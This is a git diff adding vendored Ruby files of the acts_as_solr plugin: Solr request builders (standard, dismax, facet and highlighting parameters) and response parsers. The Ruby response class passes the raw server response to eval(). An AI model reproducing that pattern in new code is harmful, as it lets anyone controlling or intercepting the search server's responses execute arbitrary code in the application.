+ # request = Solr::Request::Delete.new(:id => 1234) + # + # or by query: + # + # request = Solr::Request::Delete.new(:query => + # + def initialize(options) + unless options.kind_of?(Hash) and (options[:id] or options[:query]) + raise Solr::Exception.new("must pass in :id or :query") + end + if options[:id] and options[:query] + raise Solr::Exception.new("can't pass in both :id and :query") + end + @document_id = options[:id] + @query = options[:query] + end + + def to_s + delete_element = Solr::XML::Element.new('delete') + if @document_id + id_element = Solr::XML::Element.new('id') + id_element.text = @document_id + delete_element.add_element(id_element) + elsif @query + query = Solr::XML::Element.new('query') + query.text = @query + delete_element.add_element(query) + end + delete_element.to_s + end +end + diff --git a/vendor/plugins/acts_as_solr/lib/solr/request/dismax.rb b/vendor/plugins/acts_as_solr/lib/solr/request/dismax.rb new file mode 100644 index 00000000..13d19771 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/request/dismax.rb @@ -0,0 +1,46 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +class Solr::Request::Dismax < Solr::Request::Standard + + VALID_PARAMS.replace(VALID_PARAMS + [:tie_breaker, :query_fields, :minimum_match, :phrase_fields, :phrase_slop, + :boost_query, :boost_functions]) + + def initialize(params) + @alternate_query = params.delete(:alternate_query) + @sort_values = params.delete(:sort) + + super + + @query_type = "dismax" + end + + def to_hash + hash = super + hash[:tie] = @params[:tie_breaker] + hash[:mm] = @params[:minimum_match] + hash[:qf] = @params[:query_fields] + hash[:pf] = @params[:phrase_fields] + hash[:ps] = @params[:phrase_slop] + hash[:bq] = @params[:boost_query] + hash[:bf] = @params[:boost_functions] + hash["q.alt"] = @alternate_query + # FIXME: 2007-02-13 -- This code is duplicated in + # Solr::Request::Standard. It should be refactored into a single location. + hash[:sort] = @sort_values.collect do |sort| + key = sort.keys[0] + "#{key.to_s} #{sort[key] == :descending ? 'desc' : 'asc'}" + end.join(',') if @sort_values + return hash + end + +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/lib/solr/request/index_info.rb b/vendor/plugins/acts_as_solr/lib/solr/request/index_info.rb new file mode 100644 index 00000000..d4eeea54 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/request/index_info.rb @@ -0,0 +1,22 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +class Solr::Request::IndexInfo < Solr::Request::Select + + def handler + 'admin/luke' + end + + def to_hash + {:numTerms => 0}.merge(super.to_hash) + end +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/request/modify_document.rb b/vendor/plugins/acts_as_solr/lib/solr/request/modify_document.rb new file mode 100644 index 00000000..6276d979 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/request/modify_document.rb @@ -0,0 +1,51 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +require 'solr/xml' +require 'solr/request/base' +require 'solr/document' +require 'solr/request/update' + +class Solr::Request::ModifyDocument < Solr::Request::Update + + # Example: ModifyDocument.new(:id => 10, :overwrite => {:field_name => "new value"}) + def initialize(update_data) + modes = [] + @doc = {} + [:overwrite, :append, :distinct, :increment, :delete].each do |mode| + field_data = update_data[mode] + if field_data + field_data.each do |field_name, field_value| + modes << "#{field_name}:#{mode.to_s.upcase}" + @doc[field_name] = field_value if field_value # if value is nil, omit so it can be removed + end + update_data.delete mode + end + end + @mode = modes.join(",") + + # only one key should be left over, the id + @doc[update_data.keys[0].to_s] = update_data.values[0] + end + + # returns the request as a string suitable for posting + def to_s + e = Solr::XML::Element.new 'add' + e.add_element(Solr::Document.new(@doc).to_xml) + return e.to_s + end + + def handler + "update?mode=#{@mode}" + end + +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/request/optimize.rb b/vendor/plugins/acts_as_solr/lib/solr/request/optimize.rb new file mode 100644 index 00000000..3bd1fc4e --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/request/optimize.rb @@ -0,0 +1,21 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +require 'solr/xml' + +class Solr::Request::Optimize < Solr::Request::Update + + def to_s + Solr::XML::Element.new('optimize').to_s + end + +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/lib/solr/request/ping.rb b/vendor/plugins/acts_as_solr/lib/solr/request/ping.rb new file mode 100644 index 00000000..6b420bee --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/request/ping.rb @@ -0,0 +1,36 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +# TODO: Consider something lazy like this? +# Solr::Request::Ping = Solr::Request.simple_request :format=>:xml, :handler=>'admin/ping' +# class Solr::Request +# def self.simple_request(options) +# Class.new do +# def response_format +# options[:format] +# end +# def handler +# options[:handler] +# end +# end +# end +# end + +class Solr::Request::Ping < Solr::Request::Base + def response_format + :xml + end + + def handler + 'admin/ping' + end +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/request/select.rb b/vendor/plugins/acts_as_solr/lib/solr/request/select.rb new file mode 100644 index 00000000..122c5b71 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/request/select.rb @@ -0,0 +1,56 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +require 'erb' + +# "Abstract" base class, only useful with subclasses that add parameters +class Solr::Request::Select < Solr::Request::Base + + attr_reader :query_type + + def initialize(qt=nil, params={}) + @query_type = qt + @select_params = params + end + + def response_format + :ruby + end + + def handler + 'select' + end + + def content_type + 'application/x-www-form-urlencoded; charset=utf-8' + end + + def to_hash + return {:qt => query_type, :wt => 'ruby'}.merge(@select_params) + end + + def to_s + raw_params = self.to_hash + + http_params = [] + raw_params.each do |key,value| + if value.respond_to? :each + value.each { |v| http_params << "#{key}=#{ERB::Util::url_encode(v)}" unless v.nil?} + else + http_params << "#{key}=#{ERB::Util::url_encode(value)}" unless value.nil? + end + end + + http_params.join("&") + end + +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/request/spellcheck.rb b/vendor/plugins/acts_as_solr/lib/solr/request/spellcheck.rb new file mode 100644 index 00000000..eab24eb9 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/request/spellcheck.rb @@ -0,0 +1,30 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +class Solr::Request::Spellcheck < Solr::Request::Select + + def initialize(params) + super('spellchecker') + @params = params + end + + def to_hash + hash = super + hash[:q] = @params[:query] + hash[:suggestionCount] = @params[:suggestion_count] + hash[:accuracy] = @params[:accuracy] + hash[:onlyMorePopular] = @params[:only_more_popular] + hash[:cmd] = @params[:command] + return hash + end + +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/lib/solr/request/standard.rb b/vendor/plugins/acts_as_solr/lib/solr/request/standard.rb new file mode 100644 index 00000000..2a2845c8 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/request/standard.rb @@ -0,0 +1,373 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +class Solr::Request::Standard < Solr::Request::Select + + VALID_PARAMS = [:query, :sort, :default_field, :operator, :start, :rows, :shards, + :filter_queries, :field_list, :debug_query, :explain_other, :facets, :highlighting, :mlt] + + def initialize(params) + super('standard') + + raise "Invalid parameters: #{(params.keys - VALID_PARAMS).join(',')}" unless + (params.keys - VALID_PARAMS).empty? + + raise ":query parameter required" unless params[:query] + + @params = params.dup + + # Validate operator + if params[:operator] + raise "Only :and/:or operators allowed" unless + [:and, :or].include?(params[:operator]) + + @params[:operator] = params[:operator].to_s.upcase + end + + # Validate start, rows can be transformed to ints + @params[:start] = params[:start].to_i if params[:start] + @params[:rows] = params[:rows].to_i if params[:rows] + + @params[:field_list] ||= ["*","score"] + + @params[:shards] ||= [] + end + + def to_hash + hash = {} + + # standard request param processing + sort = @params[:sort].collect do |sort| + key = sort.keys[0] + "#{key.to_s} #{sort[key] == :descending ? 'desc' : 'asc'}" + end.join(',') if @params[:sort] + hash[:q] = sort ? "#{@params[:query]};#{sort}" : @params[:query] + hash["q.op"] = @params[:operator] + hash[:df] = @params[:default_field] + + # common parameter processing + hash[:start] = @params[:start] + hash[:rows] = @params[:rows] + hash[:fq] = @params[:filter_queries] + hash[:fl] = @params[:field_list].join(',') + hash[:debugQuery] = @params[:debug_query] + hash[:explainOther] = @params[:explain_other] + hash[:shards] = @params[:shards].join(',') unless @params[:shards].empty? + + # facet parameter processing + if @params[:facets] + # TODO need validation of all that is under the :facets Hash too + hash[:facet] = true + hash["facet.field"] = [] + hash["facet.query"] = @params[:facets][:queries] + hash["facet.sort"] = (@params[:facets][:sort] == :count) if @params[:facets][:sort] + hash["facet.limit"] = @params[:facets][:limit] + hash["facet.missing"] = @params[:facets][:missing] + hash["facet.mincount"] = @params[:facets][:mincount] + hash["facet.prefix"] = @params[:facets][:prefix] + hash["facet.offset"] = @params[:facets][:offset] + if @params[:facets][:fields] # facet fields are optional (could be facet.query only) + @params[:facets][:fields].each do |f| + if f.kind_of? Hash + key = f.keys[0] + value = f[key] + hash["facet.field"] << key + hash["f.#{key}.facet.sort"] = (value[:sort] == :count) if value[:sort] + hash["f.#{key}.facet.limit"] = value[:limit] + hash["f.#{key}.facet.missing"] = value[:missing] + hash["f.#{key}.facet.mincount"] = value[:mincount] + hash["f.#{key}.facet.prefix"] = value[:prefix] + hash["f.#{key}.facet.offset"] = value[:offset] + else + hash["facet.field"] << f + end + end + end + end + + # highlighting parameter processing - http://wiki.apache.org/solr/HighlightingParameters + if @params[:highlighting] + hash[:hl] = true + hash["hl.fl"] = @params[:highlighting][:field_list].join(',') if @params[:highlighting][:field_list] + + snippets = @params[:highlighting][:max_snippets] + if snippets + if snippets.kind_of? Hash + if snippets[:default] + hash["hl.snippets"] = snippets[:default] + end + if snippets[:fields] + snippets[:fields].each do |k,v| + hash["f.#{k}.hl.snippets"] = v + end + end + else + hash["hl.snippets"] = snippets + end + end + + fragsize = @params[:highlighting][:fragment_size] + if fragsize + if fragsize.kind_of? Hash + if fragsize[:default] + hash["hl.fragsize"] = fragsize[:default] + end + if fragsize[:fields] + fragsize[:fields].each do |k,v| + hash["f.#{k}.hl.fragsize"] = v + end + end + else + hash["hl.fragsize"] = fragsize + end + end + + rfm = @params[:highlighting][:require_field_match] + if nil != rfm + if rfm.kind_of? Hash + if nil != rfm[:default] + hash["hl.requireFieldMatch"] = rfm[:default] + end + if rfm[:fields] + rfm[:fields].each do |k,v| + hash["f.#{k}.hl.requireFieldMatch"] = v + end + end + else + hash["hl.requireFieldMatch"] = rfm + end + end + + mac = @params[:highlighting][:max_analyzed_chars] + if mac + if mac.kind_of? Hash + if mac[:default] + hash["hl.maxAnalyzedChars"] = mac[:default] + end + if mac[:fields] + mac[:fields].each do |k,v| + hash["f.#{k}.hl.maxAnalyzedChars"] = v + end + end + else + hash["hl.maxAnalyzedChars"] = mac + end + end + + prefix = @params[:highlighting][:prefix] + if prefix + if prefix.kind_of? Hash + if prefix[:default] + hash["hl.simple.pre"] = prefix[:default] + end + if prefix[:fields] + prefix[:fields].each do |k,v| + hash["f.#{k}.hl.simple.pre"] = v + end + end + else + hash["hl.simple.pre"] = prefix + end + end + + suffix = @params[:highlighting][:suffix] + if suffix + if suffix.kind_of? Hash + if suffix[:default] + hash["hl.simple.post"] = suffix[:default] + end + if suffix[:fields] + suffix[:fields].each do |k,v| + hash["f.#{k}.hl.simple.post"] = v + end + end + else + hash["hl.simple.post"] = suffix + end + end + + formatter = @params[:highlighting][:formatter] + if formatter + if formatter.kind_of? Hash + if formatter[:default] + hash["hl.formatter"] = formatter[:default] + end + if formatter[:fields] + formatter[:fields].each do |k,v| + hash["f.#{k}.hl.formatter"] = v + end + end + else + hash["hl.formatter"] = formatter + end + end + + fragmenter = @params[:highlighting][:fragmenter] + if fragmenter + if fragmenter.kind_of? Hash + if fragmenter[:default] + hash["hl.fragmenter"] = fragmenter[:default] + end + if fragmenter[:fields] + fragmenter[:fields].each do |k,v| + hash["f.#{k}.hl.fragmenter"] = v + end + end + else + hash["hl.fragmenter"] = fragmenter + end + end + + merge_contiguous = @params[:highlighting][:merge_contiguous] + if nil != merge_contiguous + if merge_contiguous.kind_of? Hash + if nil != merge_contiguous[:default] + hash["hl.mergeContiguous"] = merge_contiguous[:default] + end + if merge_contiguous[:fields] + merge_contiguous[:fields].each do |k,v| + hash["f.#{k}.hl.mergeContiguous"] = v + end + end + else + hash["hl.mergeContiguous"] = merge_contiguous + end + end + + increment = @params[:highlighting][:increment] + if increment + if increment.kind_of? Hash + if increment[:default] + hash["hl.increment"] = increment[:default] + end + if increment[:fields] + increment[:fields].each do |k,v| + hash["f.#{k}.hl.increment"] = v + end + end + else + hash["hl.increment"] = increment + end + end + + # support "old style" + alternate_fields = @params[:highlighting][:alternate_fields] + if alternate_fields + alternate_fields.each do |f,v| + hash["f.#{f}.hl.alternateField"] = v + end + end + + alternate_field = @params[:highlighting][:alternate_field] + if alternate_field + if alternate_field.kind_of? Hash + if alternate_field[:default] + hash["hl.alternateField"] = alternate_field[:default] + end + if alternate_field[:fields] + alternate_field[:fields].each do |k,v| + hash["f.#{k}.hl.alternateField"] = v + end + end + else + hash["hl.alternateField"] = alternate_field + end + end + + mafl = @params[:highlighting][:max_alternate_field_length] + if mafl + if mafl.kind_of? Hash + if mafl[:default] + hash["hl.maxAlternateFieldLength"] = mafl[:default] + end + if mafl[:fields] + mafl[:fields].each do |k,v| + hash["f.#{k}.hl.maxAlternateFieldLength"] = v + end + else + # support "old style" + mafl.each do |k,v| + hash["f.#{k}.hl.maxAlternateFieldLength"] = v + end + end + else + hash["hl.maxAlternateFieldLength"] = mafl + end + end + + hash["hl.usePhraseHighlighter"] = @params[:highlighting][:use_phrase_highlighter] + + regex = @params[:highlighting][:regex] + if regex + if regex[:slop] + if regex[:slop].kind_of? Hash + if regex[:slop][:default] + hash["hl.regex.slop"] = regex[:slop][:default] + end + if regex[:slop][:fields] + regex[:slop][:fields].each do |k,v| + hash["f.#{k}.hl.regex.slop"] = v + end + end + else + hash["hl.regex.slop"] = regex[:slop] + end + end + if regex[:pattern] + if regex[:pattern].kind_of? Hash + if regex[:pattern][:default] + hash["hl.regex.pattern"] = regex[:pattern][:default] + end + if regex[:pattern][:fields] + regex[:pattern][:fields].each do |k,v| + hash["f.#{k}.hl.regex.pattern"] = v + end + end + else + hash["hl.regex.pattern"] = regex[:pattern] + end + end + if regex[:max_analyzed_chars] + if regex[:max_analyzed_chars].kind_of? Hash + if regex[:max_analyzed_chars][:default] + hash["hl.regex.maxAnalyzedChars"] = regex[:max_analyzed_chars][:default] + end + if regex[:max_analyzed_chars][:fields] + regex[:max_analyzed_chars][:fields].each do |k,v| + hash["f.#{k}.hl.regex.maxAnalyzedChars"] = v + end + end + else + hash["hl.regex.maxAnalyzedChars"] = regex[:max_analyzed_chars] + end + end + end + + end + + if @params[:mlt] + hash[:mlt] = true + hash["mlt.count"] = @params[:mlt][:count] + hash["mlt.fl"] = @params[:mlt][:field_list].join(',') + hash["mlt.mintf"] = @params[:mlt][:min_term_freq] + hash["mlt.mindf"] = @params[:mlt][:min_doc_freq] + hash["mlt.minwl"] = @params[:mlt][:min_word_length] + hash["mlt.maxwl"] = @params[:mlt][:max_word_length] + hash["mlt.maxqt"] = @params[:mlt][:max_query_terms] + hash["mlt.maxntp"] = @params[:mlt][:max_tokens_parsed] + hash["mlt.boost"] = @params[:mlt][:boost] + end + + hash.merge(super.to_hash) + end + +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/request/update.rb b/vendor/plugins/acts_as_solr/lib/solr/request/update.rb new file mode 100644 index 00000000..8bd84488 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/request/update.rb @@ -0,0 +1,23 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +# a parent class for all requests that go through the solr update handler +# TODO: Use new xml update handler for better error responses +class Solr::Request::Update < Solr::Request::Base + def response_format + :xml + end + + def handler + 'update' + end +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/response.rb b/vendor/plugins/acts_as_solr/lib/solr/response.rb new file mode 100644 index 00000000..72c55fe6 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/response.rb @@ -0,0 +1,27 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +module Solr; module Response; end; end +require 'solr/response/base' +require 'solr/response/xml' +require 'solr/response/ruby' +require 'solr/response/ping' +require 'solr/response/add_document' +require 'solr/response/modify_document' +require 'solr/response/standard' +require 'solr/response/spellcheck' +require 'solr/response/dismax' +require 'solr/response/commit' +require 'solr/response/delete' +require 'solr/response/index_info' +require 'solr/response/optimize' +require 'solr/response/select' \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/lib/solr/response/add_document.rb b/vendor/plugins/acts_as_solr/lib/solr/response/add_document.rb new file mode 100644 index 00000000..d1e19230 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/response/add_document.rb @@ -0,0 +1,17 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +class Solr::Response::AddDocument < Solr::Response::Xml + def initialize(xml) + super + end +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/response/base.rb b/vendor/plugins/acts_as_solr/lib/solr/response/base.rb new file mode 100644 index 00000000..a66d2a4d --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/response/base.rb @@ -0,0 +1,42 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +class Solr::Response::Base + attr_reader :raw_response + + def initialize(raw_response) + @raw_response = raw_response + end + + # factory method for creating a Solr::Response::* from + # a request and the raw response content + def self.make_response(request, raw) + + # make sure response format seems sane + unless [:xml, :ruby].include?(request.response_format) + raise Solr::Exception.new("unknown response format: #{request.response_format}" ) + end + + # TODO: Factor out this case... perhaps the request object should provide the response class instead? Or dynamically align by class name? + # Maybe the request itself could have the response handling features that get mixed in with a single general purpose response object? + + begin + klass = eval(request.class.name.sub(/Request/,'Response')) + rescue NameError + raise Solr::Exception.new("unknown request type: #{request.class}") + else + klass.new(raw) + end + + end + +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/response/commit.rb b/vendor/plugins/acts_as_solr/lib/solr/response/commit.rb new file mode 100644 index 00000000..ff937a36 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/response/commit.rb @@ -0,0 +1,17 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +require 'rexml/xpath' + +class Solr::Response::Commit < Solr::Response::Xml +end + diff --git a/vendor/plugins/acts_as_solr/lib/solr/response/delete.rb b/vendor/plugins/acts_as_solr/lib/solr/response/delete.rb new file mode 100644 index 00000000..08361280 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/response/delete.rb @@ -0,0 +1,13 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +class Solr::Response::Delete < Solr::Response::Xml; end diff --git a/vendor/plugins/acts_as_solr/lib/solr/response/dismax.rb b/vendor/plugins/acts_as_solr/lib/solr/response/dismax.rb new file mode 100644 index 00000000..d495843b --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/response/dismax.rb @@ -0,0 +1,8 @@ +class Solr::Response::Dismax < Solr::Response::Standard + # no need for special processing + + # FIXME: 2007-02-07 -- The existence of this class indicates that + # the Request/Response pair architecture is a little hinky. Perhaps we could refactor + # out some of the most common functionality -- Common Query Parameters, Highlighting Parameters, + # Simple Facet Parameters, etc. -- into modules? +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/lib/solr/response/index_info.rb b/vendor/plugins/acts_as_solr/lib/solr/response/index_info.rb new file mode 100644 index 00000000..b8e215ff --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/response/index_info.rb @@ -0,0 +1,26 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +class Solr::Response::IndexInfo < Solr::Response::Ruby + def initialize(ruby_code) + super + end + + def num_docs + return @data['index']['numDocs'] + end + + def field_names + return @data['fields'].keys + end + +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/response/modify_document.rb b/vendor/plugins/acts_as_solr/lib/solr/response/modify_document.rb new file mode 100644 index 00000000..44c4f5b0 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/response/modify_document.rb @@ -0,0 +1,17 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +class Solr::Response::ModifyDocument < Solr::Response::Xml + def initialize(xml) + super + end +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/response/optimize.rb b/vendor/plugins/acts_as_solr/lib/solr/response/optimize.rb new file mode 100644 index 00000000..4594d90d --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/response/optimize.rb @@ -0,0 +1,14 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +class Solr::Response::Optimize < Solr::Response::Commit +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/lib/solr/response/ping.rb b/vendor/plugins/acts_as_solr/lib/solr/response/ping.rb new file mode 100644 index 00000000..1c405885 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/response/ping.rb @@ -0,0 +1,28 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +require 'rexml/xpath' + +class Solr::Response::Ping < Solr::Response::Xml + + def initialize(xml) + super + @ok = REXML::XPath.first(@doc, './solr/ping') ? true : false + end + + # returns true or false depending on whether the ping + # was successful or not + def ok? + @ok + end + +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/response/ruby.rb b/vendor/plugins/acts_as_solr/lib/solr/response/ruby.rb new file mode 100644 index 00000000..05424c13 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/response/ruby.rb @@ -0,0 +1,42 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +class Solr::Response::Ruby < Solr::Response::Base + attr_reader :data, :header + + def initialize(ruby_code) + super + begin + #TODO: what about pulling up data/header/response to ResponseBase, + # or maybe a new middle class like SelectResponseBase since + # all Select queries return this same sort of stuff?? + # XML (&wt=xml) and Ruby (&wt=ruby) responses contain exactly the same structure. + # a goal of solrb is to make it irrelevant which gets used under the hood, + # but favor Ruby responses. + @data = eval(ruby_code) + @header = @data['responseHeader'] + raise "response should be a hash" unless @data.kind_of? Hash + raise "response header missing" unless @header.kind_of? Hash + rescue SyntaxError => e + raise Solr::Exception.new("invalid ruby code: #{e}") + end + end + + def ok? + @header['status'] == 0 + end + + def query_time + @header['QTime'] + end + +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/response/select.rb b/vendor/plugins/acts_as_solr/lib/solr/response/select.rb new file mode 100644 index 00000000..8e2185d6 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/response/select.rb @@ -0,0 +1,17 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +class Solr::Response::Select < Solr::Response::Ruby + def initialize(ruby_code) + super + end +end diff --git 